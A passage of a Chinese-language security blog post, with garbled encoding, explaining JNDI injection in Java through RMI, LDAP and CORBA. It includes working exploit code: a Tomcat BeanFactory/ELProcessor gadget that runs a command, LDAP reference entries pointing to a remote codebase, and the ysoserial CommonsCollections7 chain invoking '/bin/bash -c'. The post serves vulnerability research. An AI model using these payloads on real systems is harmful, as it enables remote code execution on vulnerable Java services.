????}
????static?{
????????EvilClass.log("static?block");
????}
????public?EvilClass()?{
????????EvilClass.log("constructor");
????}
????@Override
????public?Object?getObjectInstance(Object?obj,?Name?name,?Context?nameCtx,?Hashtable,??>?environment)?{
????????EvilClass.log("getObjectInstance");
????????return?null;
????}
}主要通過打印來確定各個關鍵位置的代碼調(diào)用順序,將編譯好的?EvilClass.class?文件放到對應 HTTP 目錄下,在客戶端執(zhí)行查找操作:
$?java?-Dcom.sun.jndi.rmi.object.trustURLCodebase=true?JNDILookup?rmi://localhost:1099/Foo
EvilClass:?static?block
EvilClass:?IIB?block
EvilClass:?constructor
EvilClass:?getObjectInstance
ret:?null從 HTTP 服務器的日志可以看到?EvilClass.class?被請求,然后在客戶端中我們遠程的類代碼也按照順序被執(zhí)行了。
上面執(zhí)行時加上了一個 JVM 參數(shù),如果不加的話你會收獲一個異常:
javax.naming.ConfigurationException:?The?object?factory?is?untrusted.?Set?the?system?property?'com.sun.jndi.rmi.object.trustURLCodebase'?to?'true'.
????at?com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
????at?com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
????at?com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
????at?javax.naming.InitialContext.lookup(InitialContext.java:417)
????at?JNDILookup.main(JNDILookup.java:13)這個限制在 JDK?8u121、7u131、6u141?版本時加入。因此如果 JDK 高于這些版本,默認是不信任遠程代碼的,因此也就無法加載遠程 RMI 代碼。
Local Class
上面高版本 JDK 中無法加載遠程代碼的異常出現(xiàn)在?RegistryContext?中,相關代碼如下:
//?com/sun/jndi/rmi/registry/RegistryContext.java
private?Object?decodeObject(Remote?r,?Name?name)?throws?NamingException?{
????try?{
????????Object?obj?=?(r?instanceof?RemoteReference)
??????????????????????((RemoteReference)r).getReference()
????????????????????:?(Object)r;
????????/*
????????????*?Classes?may?only?be?loaded?from?an?arbitrary?URL?codebase?when
????????????*?the?system?property?com.sun.jndi.rmi.object.trustURLCodebase
????????????*?has?been?set?to?"true".
????????????*/
????????//?Use?reference?if?possible
????????Reference?ref?=?null;
????????if?(obj?instanceof?Reference)?{
????????????ref?=?(Reference)?obj;
????????}?else?if?(obj?instanceof?Referenceable)?{
????????????ref?=?((Referenceable)(obj)).getReference();
????????}
????????if?(ref?!=?null?&&?ref.getFactoryClassLocation()?!=?null?&&
????????????!trustURLCodebase)?{
????????????throw?new?ConfigurationException(
????????????????"The?object?factory?is?untrusted.?Set?the?system?property"?+
????????????????"?'com.sun.jndi.rmi.object.trustURLCodebase'?to?'true'.");
????????}
????????return?NamingManager.getObjectInstance(obj,?name,?this,
????????????????????????????????????????????????environment);
//??}?catch?(NamingException?e)?{?...
}根據(jù)注釋所言,如果要解碼的對象?r?是遠程引用,就需要先解引用然后再調(diào)用?NamingManager.getObjectInstance,其中會實例化對應的 ObjectFactory 類并調(diào)用其?getObjectInstance?方法,這也符合我們前面打印的 EvilClass 的執(zhí)行順序。
因此為了繞過這里 ConfigurationException 的限制,我們有三種方法:
1.令?ref?為空,或者2.令?ref.getFactoryClassLocation()?為空,或者3.令?trustURLCodebase?為?true
其中第三個方法我們已經(jīng)在上節(jié)用過,即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase 參數(shù)。
第一,令?ref?為空,從語義上看需要 obj 既不是 Reference 也不是 Referenceable,即不能是對象引用,只能是原始對象,這時候客戶端直接實例化本地對象,遠程 RMI 沒有操作的空間,因此這種情況不太好利用;
第二,令?ref.getFactoryClassLocation()?返回空,即讓 ref 對象的 classFactoryLocation 屬性為空,這個屬性表示引用所指向?qū)ο蟮膶?factory 名稱,對于遠程代碼加載而言是 codebase,即遠程代碼的 URL 地址(可以是多個地址,以空格分隔),這正是我們上文針對低版本的利用方法;如果對應的 factory 是本地代碼,則該值為空,這是繞過高版本 JDK 限制的關鍵;
要滿足這種情況,我們只需要在遠程 RMI 服務器返回的 Reference 對象中不指定 Factory 的 codebase。下一步還需要什么,繼續(xù)看 NamingManager 的解析過程,如下所示:
//?javax/naming/spi/NamingManager.java
public?static?Object
????getObjectInstance(Object?refInfo,?Name?name,?Context?nameCtx,
????????????????????????Hashtable,?>?environment)
????throws?Exception
{
????//?...
????if?(ref?!=?null)?{
????????String?f?=?ref.getFactoryClassName();
????????if?(f?!=?null)?{
????????????//?if?reference?identifies?a?factory,?use?exclusively
????????????factory?=?getObjectFactoryFromReference(ref,?f);
????????????if?(factory?!=?null)?{
????????????????return?factory.getObjectInstance(ref,?name,?nameCtx,
????????????????????????????????????????????????????environment);
????????????}
????????????//?No?factory?found,?so?return?original?refInfo.
????????????//?Will?reach?this?point?if?factory?class?is?not?in
????????????//?class?path?and?reference?does?not?contain?a?URL?for?it
????????????return?refInfo;
????????}?else?{
????????????//?if?reference?has?no?factory,?check?for?addresses
????????????//?containing?URLs
????????????answer?=?processURLAddrs(ref,?name,?nameCtx,?environment);
????????????if?(answer?!=?null)?{
????????????????return?answer;
????????????}
????????}
????}
????//?try?using?any?specified?factories
????answer?=
????????createObjectFromFactories(refInfo,?name,?nameCtx,?environment);
????return?(answer?!=?null)???answer?:?refInfo;
}可以看到,在處理 Reference 對象時,會先調(diào)用?ref.getFactoryClassName()?獲取對應工廠類的名稱,如果為空則通過網(wǎng)絡去請求,即前文書中的情況;如果不為空則直接實例化工廠類,并通過工廠類去實例化一個對象并返回。
因此,我們實際上可以指定一個存在于目標 classpath 中的工廠類名稱,交由這個工廠類去實例化實際的目標類(即引用所指向的類),從而間接實現(xiàn)一定的代碼控制。這種通過目標已有代碼去實現(xiàn)任意代碼執(zhí)行的漏洞利用輔助類統(tǒng)稱為?gadget。
在這些 Gadget 中,最為常用的一個就是 org.apache.naming.factory.BeanFactory,這個類在 Tomcat 中,很多 web 應用都會包含,另外這個類的實現(xiàn)很有意思,其關鍵代碼如下:
Tomcat 代碼來自當前官網(wǎng)最新的 8.5.73 版本: https://tomcat.apache.org/download-80.cgi
public?Object?getObjectInstance(Object?obj,?Name?name,?Context?nameCtx,
????????????????????????????????Hashtable,?>?environment)
????throws?NamingException?{
????Reference?ref?=?(Reference)?obj;
????String?beanClassName?=?ref.getClassName();
????ClassLoader?tcl?=?Thread.currentThread().getContextClassLoader();
????//?1.?反射獲取類對象
????if?(tcl?!=?null)?{
????????beanClass?=?tcl.loadClass(beanClassName);
????}?else?{
????????beanClass?=?Class.forName(beanClassName);
????}
????//?2.?初始化類實例
????Object?bean?=?beanClass.getConstructor().newInstance();
????//?3.?根據(jù)?Reference?的屬性查找?setter?方法的別名
????RefAddr?ra?=?ref.get("forceString");
????String?value?=?(String)ra.getContent();
????//?4.?循環(huán)解析別名并保存到字典中
????for?(String?param:?value.split(","))?{
????????param?=?param.trim();
????????index?=?param.indexOf('=');
????????if?(index?>=?0)?{
????????????setterName?=?param.substring(index?+?1).trim();
????????????param?=?param.substring(0,?index).trim();
????????}?else?{
????????????setterName?=?"set"?+
????????????????param.substring(0,?1).toUpperCase(Locale.ENGLISH)?+
????????????????param.substring(1);
????????}
????????forced.put(param,?beanClass.getMethod(setterName,?paramTypes));
????}
????//?5.?解析所有屬性,并根據(jù)別名去調(diào)用?setter?方法
????Enumeration?e?=?ref.getAll();
????while?(e.hasMoreElements())?{
????????ra?=?e.nextElement();
????????String?propName?=?ra.getType();
????????String?value?=?(String)ra.getContent();
????????Object[]?valueArray?=?new?Object[1];
????????Method?method?=?forced.get(propName);
????????if?(method?!=?null)?{
????????????valueArray[0]?=?value;
????????????method.invoke(bean,?valueArray);
????????}
????????//?...
????}
} 上面注釋標注了關鍵的部分,我們可以通過在返回給客戶端的 Reference 對象的?forceString?字段指定 setter 方法的別名,并在后續(xù)初始化過程中進行調(diào)用。forceString 的格式為?a=foo,bar,以逗號分隔每個需要設置的屬性,如果包含等號,則對應的 setter 方法為等號后的值?foo,如果不包含等號,則 setter 方法為默認值?setBar。
在后續(xù)調(diào)用時,調(diào)用 setter 方法使用單個參數(shù),且參數(shù)值為對應屬性對象?RefAddr?的值 (getContent)。因此,實際上我們可以調(diào)用任意指定類的任意方法,并指定單個可控的參數(shù)。那么利用方案就呼之欲出了,下面是一個實際利用代碼:
Registry?registry?=?LocateRegistry.getRegistry(1099);
ResourceRef?ref?=?new?ResourceRef("javax.el.ELProcessor",?null,?"",?"",?true,?"org.apache.naming.factory.BeanFactory",?null);
ref.add(new?StringRefAddr("forceString",?"x=eval"));
ref.add(new?StringRefAddr("x",?"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new?java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\")"));
ReferenceWrapper?wrapper?=?new?ReferenceWrapper(ref);
registry.bind("Foo",?wrapper);
System.err.println("Server?ready");ResourceRef?在 tomcat 中表示某個資源的引用,其構造函數(shù)參數(shù)如下:
//?java/org/apache/naming/ResourceRef.java
/**
????*?Resource?Reference.
????*
????*?@param?resourceClass?Resource?class
????*?@param?description?Description?of?the?resource
????*?@param?scope?Resource?scope
????*?@param?auth?Resource?authentication
????*?@param?singleton?Is?this?resource?a?singleton?(every?lookup?should?return
????*??????????????????the?same?instance?rather?than?a?new?instance)?
????*?@param?factory?The?possibly?null?class?name?of?the?object's?factory.
????*?@param?factoryLocation?The?possibly?null?location?from?which?to?load?the
????*????????????????????????factory?(e.g.?URL)
????*/
public?ResourceRef(String?resourceClass,?String?description,
????????????????????String?scope,?String?auth,?boolean?singleton,
????????????????????String?factory,?String?factoryLocation)?{其中我們指定了資源的實際類為?javax.el.ELProcessor,工廠類為?apache.naming.factory.BeanFactory。x=eval?令上述代碼實際執(zhí)行的是?ELProcessor.eval?函數(shù),其第一個參數(shù)是屬性?x?的值,這里指定的是(MacOS)彈計算器。
在服務端啟動 registry 并注冊該對象(Foo) 綁定,然后在客戶端執(zhí)行一次查找:
$?java?-cp?"apache-tomcat-8.5.73/lib/*:."?JNDILookup?rmi://localhost:1099/Foo
ret:?javax.el.ELProcessor@149e0f5d即可執(zhí)行上述彈計算器的命令,由于流量有限,截圖就不放了。這種 gadget 在服務端代碼中還有很多,比如在?ysoserial[19]?工具中就集成了一些常見的 payload。
LDAP
LDAP 服務作為一個樹形數(shù)據(jù)庫,可以通過一些特殊的屬性來實現(xiàn) Java 對象的存儲,此外,還有一些其他實現(xiàn) Java 對象存儲的方法:
?使用 Java 序列化進行存儲[20];?使用 JNDI 的引用(Reference)進行存儲[21];?……
使用這些方法存儲在 LDAP 目錄中的 Java 對象一旦被客戶端解析(反序列化),就可能會引起遠程代碼執(zhí)行。
Codebase
先看基于 JNDI 引用進行存儲的例子。這表示我們在 LDAP 服務器中保存了一個 Java 對象的引用,保存的格式時根據(jù) JNDI 的規(guī)范進行約定的,主要包含幾個特殊屬性(Attribute),以 LDIF 格式表述如下:
ObjectClass:?javaNamingReference
javaCodebase:?http://localhost:5000/
JavaFactory:?EvilClass
javaClassName:?FooBar我們并不需要像網(wǎng)上其他文章一樣使用 Java 去啟動 LDAP 服務器,只需要在任意 LDAP 服務器中添加這么一項包含上述額外屬性的記錄即可。假設改 LDAP 服務器監(jiān)聽在默認的 389 端口,基于我們開頭 JNDILook 程序的注入代碼為:
$?java?JNDILookup?ldap://localhost/Test
EvilClass:?static?block
EvilClass:?IIB?block
EvilClass:?constructor
EvilClass:?getObjectInstance
ret:?null運行后客戶端程序會獲取并解析 LDAP 記錄,從而根據(jù)屬性名稱去獲取并實例化遠程對象,這里使用的依然是 RMI 中的 EvilClass 作為示例 Payload,可以看到目標的代碼也按照順序執(zhí)行了。
LDAP 服務器的流量記錄如下所示:

既然涉及到 codebase,那么應該存在默認禁用遠程加載的限制,在高版本 JDK 中需要通過?com.sun.jndi.ldap.object.trustURLCodebase?選項去啟用。這個限制在 JDK 11.0.1、8u191、7u201、6u211?版本時加入,略晚于 RMI 的遠程加載限制。
SerializedData
另外一個類似的存儲對象方法是通過?序列化?存儲,關鍵屬性如下:
javaSerializedData:?aced00573…
javaClassName:?FooBar如果被序列化的對象類存在于目標的 classpath 中,且反序列化過程中可以通過流程控制可以實現(xiàn)參數(shù)控制,那么就可以實現(xiàn)遠程代碼執(zhí)行。這其實是屬于一大類開放式反序列化的漏洞,以?ysoserial?中的一個利用方式?CommonsCollections7?為例,其序列化的對象如下所示(需要依賴 commons-collections.jar):
@SuppressWarnings("unchecked")
private?static?Object?getObject?(?String?cmd?)?throws?Exception
{
????Transformer[]???tarray??????=?new?Transformer[]
????{
????????new?ConstantTransformer(?Runtime.class?),
????????new?InvokerTransformer
????????(
????????????"getMethod",
????????????new?Class[]
????????????{
????????????????String.class,
????????????????Class[].class
????????????},
????????????new?Object[]
????????????{
????????????????"getRuntime",
????????????????new?Class[0]
????????????}
????????),
????????new?InvokerTransformer
????????(
????????????"invoke",
????????????new?Class[]
????????????{
????????????????Object.class,
????????????????Object[].class
????????????},
????????????new?Object[]
????????????{
????????????????null,
????????????????new?Object[0]
????????????}
????????),
????????new?InvokerTransformer
????????(
????????????"exec",
????????????new?Class[]
????????????{
????????????????String[].class
????????????},
????????????new?Object[]
????????????{
????????????????new?String[]
????????????????{
????????????????????"/bin/bash",
????????????????????"-c",
????????????????????cmd
????????????????}
????????????}
????????)
????};
????Transformer?????tchain??????=?new?ChainedTransformer(?new?Transformer[0]?);
????Map?????????????normalMap_0?=?new?HashMap();
????Map?????????????normalMap_1?=?new?HashMap();
????Map?????????????lazyMap_0???=?LazyMap.decorate(?normalMap_0,?tchain?);
????Map?????????????lazyMap_1???=?LazyMap.decorate(?normalMap_1,?tchain?);
????lazyMap_0.put(?"scz",?"same"?);
????lazyMap_1.put(?"tDz",?"same"?);
????Hashtable???????ht??????????=?new?Hashtable();
????ht.put(?lazyMap_0,?"value_0"?);
????ht.put(?lazyMap_1,?"value_1"?);
????lazyMap_1.remove(?"scz"?);
????Field???????????f???????????=?ChainedTransformer.class.getDeclaredField(?"iTransformers"?);
????f.setAccessible(?true?);
????f.set(?tchain,?tarray?);
????return(?ht?);
}通過反射修改 (org.apache.commons.collections.functors.) ChainedTransformer 的 iTransformers 成員變量實現(xiàn)代碼執(zhí)行。應該是基于 Hastable/LazyMap 的某些特性,我看不懂,但我大受震撼。
客戶端包含 common-collections 后執(zhí)行 LDAP 查詢即可觸發(fā) RCE:
$?java?-cp?ldap/commons-collections-3.1.jar:.?JNDILookup?ldap://localhost/Test
ret:?{{tDz=same,?scz=java.lang.UNIXProcess@2dda6444}=value_1,?{scz=same}=value_0}CORBA
回顧我們前文 SPI 一節(jié)中對于 CORBA 的介紹,RPC 的服務端在啟動后向 orbd 目錄服務注冊自身的接口信息,緊挨著?op=to_name?請求的是一條?op=rebind?請求(COSNAMING),綁定請求中攜帶了關鍵的 IOR 字段,描述了自身的關鍵信息,同時這也是客戶端在解析遠程類(op=resolve_str)時所返回的數(shù)據(jù)。
IOR 字段中的關鍵內(nèi)容有:
?Type ID: 表示接口的唯一標識符;?IIOP Version: 協(xié)議版本;?Host: ORB 遠程主機的地址;?Port: ORB 遠程主機的端口;?Object Key: RPC 服務的標識;?Components: 額外的信息序列,用于實現(xiàn)對象方法的調(diào)用,比如支持的 ORB 服務以及所支持的私有協(xié)議;?Codebase: 遠程代碼的地址,通過控制這個字段,攻擊者可以目標遠程加載的代碼;
在原始的 slide 中,作者提到 CORBA 加載遠程代碼存在一個嚴格的限制是 SecurityManager 必須啟用,并且顯式地配置規(guī)則才能在當前上下文訪問和讀取遠程文件:
permission?java.net.SocketPermission?"*:1098-1099",?"connect";
permission?java.io.FilePermission?"<>",?"read”; 通過查看 JDK 的代碼可知,resolve_str?最終會調(diào)用到?StubFactoryFactoryStaticImpl.createStubFactory?去加載遠程 class 并調(diào)用 newInstance 創(chuàng)建對象,其內(nèi)部使用的 ClassLoader 是?RMIClassLoader,在反序列化 stub 的上下文中,默認不允許訪問遠程文件,因此這種方法在實際場景中比較少用(我猜的),所以就不深入研究了。
總結
JNDI 注入的漏洞的關鍵在于動態(tài)協(xié)議切換導致請求了攻擊者控制的目錄服務,進而導致加載不安全的遠程代碼導致代碼執(zhí)行。漏洞 雖然出現(xiàn)在 InitialContext 及其子類 (InitialDirContext 或 InitialLdapContext) 的 lookup 上,但也有許多其他的方法間接調(diào)用了 lookup,比如:
?InitialContext.rename()?InitialContext.lookupLink()
或者在一些常見外部類中調(diào)用了 lookup,比如:
?org.springframework.transaction.jta.JtaTransactionManager.readObject()?com.sun.rowset.JdbcRowSetImpl.execute()?javax.management.remote.rmi.RMIConnector.connect()?org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)?...
這都是 Java 應用最終導致 RCE 的關鍵環(huán)節(jié),并且已經(jīng)普遍用于日常的反序列化漏洞利用中。因此對于這些關鍵函數(shù)的掃描一方面可以讓我們找出用戶可控的 JNDI 注入點,另一方面也可以輔助查找可用于利用的 Gadget,幫助安全研究人員深入理解漏洞的成因和危害。
最后
Java 好難,還是繼續(xù)搞二進制吧。
參考資料:
?A-Journey-From-JNDI-LDAP-Manipulation-To-RCE (slides)[22]?A-Journey-From-JNDI-LDAP-Manipulation-To-RCE (wp)[23]?JAVA JNDI注入知識詳解[24]?8U191之后的JNDI注入(LDAP)[25]
引用鏈接
[1]?Lightweight Directory Access Protocol:?http://www.ietf.org/rfc/rfc2251.txt[2]?Active Directory:?https://en.wikipedia.org/wiki/Active_Directory[3]?javax.naming:?https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/naming.html[4]?javax.naming.directory:?https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/directory.html[5]?javax.naming.event:?https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/event.html[6]?javax.naming.ldap:?https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/ldap.html[7]?javax.naming.spi:?https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/provider.html[8]?Java? Remote Method Invocation API:?https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/[9]?Getting Started Using Java? RMI:?https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/hello/hello-world.html[10]?RFC2251:?http://www.ietf.org/rfc/rfc2251.txt[11]?RFC4511:?https://datatracker.ietf.org/doc/rfc4511/[12]?LDAP v3: UTF-8 String Representation of Distinguished Names (RFC2253):?https://www.ietf.org/rfc/rfc2253.txt[13]?LDIF(LDAP Data Interchange Format):?https://en.wikipedia.org/wiki/LDAP_Data_Interchange_Format[14]?ORB(Object Request Broker):?https://en.wikipedia.org/wiki/Object_request_broker[15]?Portable Object Adapter:?https://docs.oracle.com/javase/7/docs/technotes/guides/idl/POA.html[16]?Common Object Request Broker Architecture:?https://www.omg.org/spec/CORBA/3.1/About-CORBA/[17]?Java IDL: The "Hello World" Example:?https://docs.oracle.com/javase/7/docs/technotes/guides/idl/jidlExample.html[18]?Java CORBA - Seebug:?https://paper.seebug.org/1124/[19]?ysoserial:?https://github.com/frohoff/ysoserial[20]?使用 Java 序列化進行存儲:?https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html[21]?使用 JNDI 的引用(Reference)進行存儲:?https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html[22]?A-Journey-From-JNDI-LDAP-Manipulation-To-RCE (slides):?https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf[23]?A-Journey-From-JNDI-LDAP-Manipulation-To-RCE (wp):?https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf[24]?JAVA JNDI注入知識詳解:?http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/[25]?8U191之后的JNDI注入(LDAP):?http://blog.nsfocus.net/ldap-0521/
